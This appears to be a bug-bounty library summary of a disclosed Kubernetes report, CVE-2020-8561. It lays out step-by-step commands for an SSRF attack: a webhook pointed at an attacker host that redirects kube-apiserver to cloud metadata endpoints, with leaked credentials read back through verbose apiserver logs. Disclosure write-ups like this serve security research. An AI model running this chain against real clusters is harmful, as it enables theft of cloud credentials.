# SSRF for kube-apiserver cloudprovider scene

Admission webhook URL lets kube-apiserver SSRF to internal/cloud metadata endpoints, with full response body leaked via klog at verbosity 10.

- Payout: hidden
- Severity: medium
- Program: Kubernetes
- Found by (vendor credit): QiQi Xu
- Found by: lazydog
- Disclosed: 2021-10-07
- CVE: CVE-2020-8561
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/941178
- Library page: https://bugbountylibrary.com/r/h1%3A941178
- Tags: area:cloud domain:cloud impact:data-leak impact:internal-access kind:bounty platform:hackerone sev:medium tech:kubernetes technique:chained technique:source-review vuln:info-disclosure vuln:ssrf

**Target:** kube-apiserver admission webhook client (cloudprovider managed clusters)
**Root cause:** ValidatingWebhookConfiguration clientConfig.url is fetched server-side by kube-apiserver without restricting internal/metadata destinations; klog at verbosity 10 logs the full response body.
**Steps:**
1. Start cluster: `minikube start --vm-driver=none --kubernetes-version='v1.18.6'`
2. Edit `/etc/kubernetes/manifests/kube-apiserver.yaml` adding `--log-dir=/var/log --logtostderr=false`
3. Create ValidatingWebhookConfiguration `poc1.yaml` with `clientConfig.url: https://lazydog.me/aa` targeting serviceaccounts CREATE/DELETE/UPDATE
4. Run attacker Flask server that redirects to target internal URL (e.g. metadata server)
5. Set klog verbosity: `curl -XPUT --data "10" http://localhost:8001/debug/flags/v`
6. Trigger webhook: `kubectl create sa testpoc`
7. Read leaked body: `curl http://localhost:8001/logs/kube-apiserver.INFO` and grep `Response Body:`
**How found:** Noticed kube-apiserver follows webhook redirects server-side and that klog verbosity 10 logs full response bodies (client-go rest/request.go), plus GKE enables the logs handler.
**Exploitation:** Attacker registers a webhook pointing at their server; server 302-redirects kube-apiserver to internal/cloud metadata endpoints. With klog verbosity 10, the full response body is written to apiserver logs, which the attacker reads via the logs endpoint to exfiltrate credentials.
**Escalation:** Redirect to cloud metadata server (GKE/AKS/EKS) to leak credentials/sensitive data; requires log read access.
**Insight:** Webhook clientConfig URLs are fetched server-side and follow redirects; combine with verbose klog logging endpoints to turn blind SSRF into full-read SSRF on managed clusters.